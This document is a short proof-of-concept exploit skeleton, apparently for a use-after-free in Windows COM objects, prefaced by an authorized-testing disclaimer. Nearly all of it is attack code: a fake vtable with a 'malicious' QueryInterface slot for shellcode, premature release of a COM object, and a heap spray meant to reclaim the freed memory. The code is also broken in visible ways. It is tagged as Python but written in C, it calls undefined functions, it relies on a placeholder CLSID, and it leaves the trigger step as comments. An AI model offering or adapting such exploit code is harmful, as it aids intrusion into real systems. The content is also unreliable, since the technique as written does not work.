The following code is for security research and authorized testing only.
python
// CVE-2025-58730 - Windows Inbox COM Objects Use-After-Free PoC
// This is a conceptual PoC demonstrating the exploitation approach
// Note: Actual exploitation requires specific COM object knowledge and heap manipulation
#include <windows.h>
#include <objbase.h>
#include <stdio.h>
// Step 1: Define a fake COM object vtable to replace freed memory
typedef struct _FakeObject {
void** vtable; // Virtual function table pointer
DWORD refCount; // Reference count
// Additional fields that mimic the original COM object layout
} FakeObject;
// Step 2: Define malicious virtual function implementation
HRESULT __stdcall MaliciousQueryInterface(FakeObject* this, REFIID riid, void** ppvObject) {
// Malicious code execution point - shellcode can be placed here
if (IsEqualIID(riid, &IID_IUnknown)) {
*ppvObject = this;
return S_OK;
}
*ppvObject = NULL;
return E_NOINTERFACE;
}
// Virtual function table for the fake object
void* g_MaliciousVTable[] = {
(void*)MaliciousQueryInterface, // QueryInterface
(void*)AddRef, // AddRef
(void*)Release, // Release
// Additional virtual methods...
};
// Step 3: Trigger the vulnerable COM object
int main() {
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) return 1;
// Create an instance of the vulnerable Inbox COM object
// The specific CLSID would be identified through reverse engineering
IUnknown* pObject = NULL;
hr = CoCreateInstance(CLSID_VulnerableInboxComObject,
NULL,
CLSCTX_INPROC_SERVER,
IID_IUnknown,
(void**)&pObject);
if (SUCCEEDED(hr)) {
printf("COM object created successfully\n");
// Step 4: Trigger the use-after-free condition
// This typically involves calling specific methods that cause
// the object to be freed while still being referenced
// (Exact trigger depends on the specific COM object)
// Release the object prematurely
pObject->Release();
// Step 5: Spray the heap to reclaim freed memory
// Allocate fake objects to occupy the freed memory region
for (int i = 0; i < 1000; i++) {
FakeObject* fake = (FakeObject*)malloc(sizeof(FakeObject));
fake->vtable = g_MaliciousVTable;
fake->refCount = 1;
}
// Step 6: Trigger the use-after-free access
// When the vulnerable code accesses the freed (now replaced) memory,
// it will call our malicious virtual function
// This would typically happen through a dangling pointer access
}
CoUninitialize();
return 0;
}